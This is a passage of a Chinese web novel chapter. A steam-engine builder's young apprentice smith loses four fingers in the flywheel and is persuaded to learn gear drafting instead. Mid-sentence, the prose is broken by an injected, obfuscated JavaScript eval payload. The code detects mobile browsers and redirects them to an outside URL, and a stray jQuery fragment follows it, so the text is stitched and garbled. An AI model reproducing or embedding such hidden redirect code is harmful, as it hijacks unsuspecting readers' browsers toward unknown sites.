蒸汽机转起来的第三天，出了事。
那天早上，李默正在给周老倔讲活塞密封的原理。他拿着一块皮料，比划着怎么裁、怎么缝、怎么塞进去才能不漏气。周老倔听得认真，不时点头，偶尔插嘴问一句。
忽然，院子那头传来一声惨叫。
不是普通的惨叫。是那种只有疼到骨头里才能发出的声音——尖锐、短促，像被人掐断脖子的鸡。
李默扔下手里的皮料，拔腿就跑。
出事的是个小铁匠，姓陈，才十七岁，大家都叫他陈小锤。他人小，但力气大，抡锤子的时候最卖力。平时干活，他总是最早到，最晚走，脸上带着笑，好像打铁是什么好玩的事。
此刻他躺在蒸汽机旁边，右手血肉模糊。
李默冲过去的时候，看见他的手——已经不能叫手了。四个手指从中间断了，只有大拇指还连着，骨头茬子从肉里戳出来，白森森的。血往外涌，止都止不住，在地上流了一滩，混着煤灰，变成黑红的颜色。
旁边站着几个铁匠，脸都白了。有人跑去叫孙二，有人去拿布条，有人愣在原地不知道干什么。周老倔跟在李默后面跑过来，看见那只手，身子晃了晃，扶住了墙。
陈小锤的脸白得像纸，嘴唇哆嗦着，想喊又喊不出来。他睁着眼睛，眼睛瞪得很大，里面全是恐惧。
李默蹲下来，抓住他的手。
手是热的，热的吓人。血从指缝里渗出来，沾了他一手。
“怎么回事？”他一边用手压住伤口止血，一边问旁边的人。
“飞轮……飞轮转着，他伸手去摸，想看看那个轮子怎么动的……”一个铁匠结结巴巴地说，“结果手被卷进去了……一下就……就……”
李默抬起头，看向那个飞轮。
飞轮还在转。边缘上沾着血，红红的一片，随着转动一圈一圈地甩出去，在地上甩出一圈血点。那些血点溅在旁边的铁锭上、木头上、干草上，触目惊心。
他咬着牙，把陈小锤抱起来。
“去找大夫！汴梁城里最好的外伤大夫！”
孙二已经跑过来，看了一眼陈小锤的手，脸色铁青。
“我这就去！”
他跑出去，袍角带起一阵风。李默抱着陈小锤往屋里走，血顺着他的手往下流，滴了一路。他踩在自己的血滴上，脚底发滑，差点摔倒。
陈小锤在他怀里，终于喊出声来。
“啊——！”
那声音不像人，像野兽。
李默的脚步顿了一下。他低头看着陈小锤的脸——那张脸扭曲着，眼泪和汗混在一起，嘴巴张得很大，但喊出来的声音已经沙哑了。
“别喊。”李默说，“省点力气。”
陈小锤听不见。他只是喊，一直喊，喊到嗓子哑了，还在喊。
大夫来了，看了陈小锤的手，摇了摇头。
那个动作，李默在电视上看过无数次。每一次看见，都知道接下来要说什么。
“保不住了。”大夫说，“四个指头全断了，骨头碎了，肉烂了。留着一根大拇指，已经是最好的结果。”
陈小锤躺在床上，脸色白得像纸，眼神空得像死人。
他听见了大夫的话。
他张了张嘴，想说什么，但只发出一声嘶哑的“啊”。
阿钝蹲在墙角，不敢看，又忍不住看。他看着陈小锤那只手，看着大夫用刀把烂肉割掉，看着那些血和骨头茬子，脸白得和陈小锤一样。他把脸埋进膝盖里，但过一会儿又抬起头，偷偷看一眼，看一眼又埋下去。
阿箬站在门口，一动不动。她的眼睛盯着陈小锤的手，脸上看不出表情。但她的手握得很紧，指节发白，指甲掐进肉里，掐出一道道白印。
手术做完的时候，天已经黑了。
大夫走了。孙二去送，顺便拿药。脚步声渐渐远去，院子里安静下来。
屋里只剩下李默、阿钝、阿箬，和床上那个眼睛空了的陈小锤。
李默坐在床边，看着陈小锤的脸。
那张脸已经没有表情了。眼泪流干了，汗也干了，只剩下干涸的泪痕和汗渍，在脸上结成一层白霜。眼睛睁着，看着屋顶，但里面什么都没有。
“疼吗？”李默问。
陈小锤没说话。他只是看着自己那只包满白布的手，眼睛里什么都没有。
李默沉默了很久。
他伸出手，把陈小锤额头上的一缕湿头发拨开。头发是湿的，黏在额头上，拨开之后露出苍白的皮肤。
“陈小锤。”他说。
没反应。
“陈小锤。”
还是没反应。
李默站起来，走到门口，看着外面。
院子里，那个蒸汽机还在。月光照在它上面，照出一层冷冷的银光。飞轮上那些血迹还没擦，黑红的，在月光下像是一道道伤口。风吹过来，吹得棚子上的稻草沙沙响，像有人在说话。
阿钝跟出来，站在他旁边。
“师父……”他的声音在抖，“陈小锤的手……还能干活吗？”
李默没回答。
阿钝低下头，看着自己的手。他摊开手掌，翻来覆去地看，看那五个完好的手指，看了很久。
“我以后……”他说，“我以后不摸那个轮子。我不摸。”
他的声音很轻，轻得像是说给自己听。
李默转过头，看着他。
这个十四岁的孩子，被人卖过三回，在矿里差点死过，现在吓得脸都白了，还在说“我不摸”。
他没说话，只是把手放在阿钝头上，轻轻按了一下。
阿钝抬起头，看着他。月光下，那双眼睛里有泪光。
“师父，”他说，“陈小锤以后怎么办？”
李默没回答。
他也不知道。
陈小锤醒过来的时候，是第二天早上。
阳光从窗户照进来，照在他脸上，刺得眼睛疼。他动了动，想坐起来，但身子像散了架一样，动不了。
他低下头，看着自己的右手。
包满白布的手。不，那不是手了，那是一团布。布是白的，但上面渗出了黄黄红红的印子，那是药和血混在一起的颜色。
他试着动了动——只有大拇指还在，动了动，能动。其他的地方，空了。
他的眼泪一下子涌出来。
他抬起左手，想抓住什么，但左手抓不住。他看见床边有一把锤子——那是他平时用的，锤柄上还有他刻的一个“陈”字。那个字刻得歪歪扭扭的，是他刚来将作监的时候刻的，那时候他还不会写字，照着周老倔写的描了半天。
他用左手去抓那把锤子。
抓不住。
锤子滑落，掉在地上，发出“当”的一声。
他盯着那把锤子，盯着那只包满白布的右手，眼泪止不住地流。
“我以后就是废人了……”
他哭着说，声音嘶哑，像砂纸刮过木头。
门被推开。阿钝站在门口，看着他。
“陈小锤……”阿钝的声音也在抖。
陈小锤没看他。他只是看着那只包满白布的手，看着地上那把锤子，眼泪流了一脸。
阿钝跑出去，跑去找李默。
“师父！陈小锤醒了！他……他在哭，他说自己是废人……”
李默放下手里的东西，跟着阿钝走进那间屋子。
陈小锤还是那么躺着，还是那么无声地哭。那把锤子躺在地上，没人捡。
李默走过去，捡起那把锤子，放在床边。
陈小锤没看他。
“陈小锤。”李默说。
没反应。
“陈小锤。”
还是没反应。
李默在床边坐下。他看着陈小锤的脸，看着那些泪痕，看着那双空了的眼睛。
“你知道我为什么叫你陈小锤吗？”他问。
陈小锤的眼泪停了一下。
李默继续说：
“因为你力气大，抡锤子的时候最卖力。你刚来的时候，什么都不会，就只会抡锤子。周老倔说，这孩子，以后是个好铁匠。”
他顿了顿。
“你知道他怎么看出来吗？他说，你抡锤子的时候，眼睛里有光。”
陈小锤转过头，看着他。那双眼睛红红的，肿肿的，但里面有了一点东西——不是光，是疑问。
李默从怀里摸出一张纸，铺在陈小锤面前。
是一张图纸。画着一个齿轮，旁边标着尺寸和数字。线条很细，数字很小，但清清楚楚。
“你知道这是什么吗？”
陈小锤看着那张纸，看了很久。
“齿……齿轮？”他的声音嘶哑。
李默点了点头。
“对。齿轮。蒸汽机里要用十几个。大小不一样，齿数不一样，咬合的时候一点都不能错。”
他指着图纸上的数字。
“这些数字，是我算出来的。用脑子算的，不是用手。”
陈小锤看着他，眼睛里有一点光——很弱，但确实是光。
李默继续说：
“打铁靠手，画图纸靠脑子。你的手没了，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401600|200419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
但脑子还在。你记性好，周老倔教你的那些，你一遍就记住了。你眼睛好，那些零件哪个地方歪了，你看一眼就知道。”
他顿了顿。
“你知道矿坑里为什么死那么多人吗？不是因为没力气，是因为没人懂。监工不懂，瞎指挥；工匠懂，但说不出来。挖到瓦斯了，不知道；支护松了，不知道；人埋进去了，才知道。”
他看着陈小锤的眼睛。
“你要是学会画图纸，学会算这些数字，以后就能让那些不懂的人，少死几个。”
陈小锤听着这些话，眼泪又流下来。
但这次，他的眼睛里有了别的东西。
不是光，但也不是完全的黑暗。是一种很复杂的什么——像是疼，又像是想。
他伸出左手，颤抖着，指着那张图纸。
“这个……”他说，“我能学吗？”
李默看着他。
这个十七岁的孩子，没了右手四个指头，脸上还挂着泪，但指着图纸，问“我能学吗”。
“能。”李默说。
三天后，陈小锤从床上爬起来，走到院子里。
他用左手扶着墙，一步一步地走。走得慢，但稳。每走几步就要停下来喘口气，然后继续走。
那些铁匠看见他，都停下来，看着他。
周老倔走过去，想扶他。陈小锤摇了摇头。
“我自己走。”他说。
他走到李默面前，站住。
他伸出左手——那只好着的手——指着李默手里的图纸。
“这个齿轮，”他说，“我昨天想了一夜，那个齿数，是不是要配另一个齿轮？”
李默愣了一下。
他低头看了看那张图纸——那是飞轮的齿轮图。陈小锤说的“另一个齿轮”，是连接蒸汽机气缸的传动齿轮。
他抬起头，看着陈小锤。
“你怎么知道要配？”
陈小锤想了想。
“因为，”他说，“你那天说，蒸汽机里要用十几个齿轮。那它们肯定得咬在一起。咬在一起，齿数就得对上。”
他的声音还有点哑，但说得很认真。
李默没说话。
他站在那里，看着这个孩子。
三天前，他躺在床上，哭着说自己是废人。三天后，他站在这里，指着图纸，问齿数对不对。
“陈小锤。”他说。
“嗯？”
“你学得会。”
陈小锤看着他，那双眼睛里，有光。
那天夜里，阿箬又坐在院子里。
李默走过去，在她旁边坐下。
“今天陈小锤出来了。”他说。
阿箬“嗯”了一声。
“他问我，那个齿轮的齿数，是不是要配另一个齿轮。”
阿箬转过头，看着他。
“他想了？”
李默点了点头。
“想了。想了一夜。”
阿箬没说话。
她看着那个蒸汽机，看着那些静静停着的零件。月光照在飞轮上，照出那些已经擦干净的血迹——擦不干净，还有淡淡的印子。
“你说得对。”她忽然开口。
李默愣了一下。
“什么？”
阿箬转过头，看着他的眼睛。
“手没了，脑子还在。”她说，“你那天对他说的那些话，我记得。”
李默没说话。
阿箬站起来，拍拍身上的土。
“睡了。”她说。
她走了几步，又停下来。
“李默。”
“嗯。”
“陈小锤不是废人。”
她走了。
李默坐在那里，看着她的背影消失在黑暗里。
远处，传来打更的声音。
“咚——咚——咚——”
三更了。
他站起来，走回屋里。
路过陈小锤的屋子时，他看见里面还亮着灯。从门缝里，他看见陈小锤坐在床上，左手拿着一根树枝，在地上画着什么。
画得很慢，一笔一笔。
但李默看出来了——是一个齿轮。
齿轮旁边，还有几个歪歪扭扭的数字。
他站在门口，看了很久。
然后他轻轻走开。
第二天早上，他把一张新的图纸放在陈小锤门口。
图纸上画着蒸汽机的全部齿轮，每一个都标着齿数和尺寸。
旁边写着一行字：
慢慢画。画完了，还有下一张。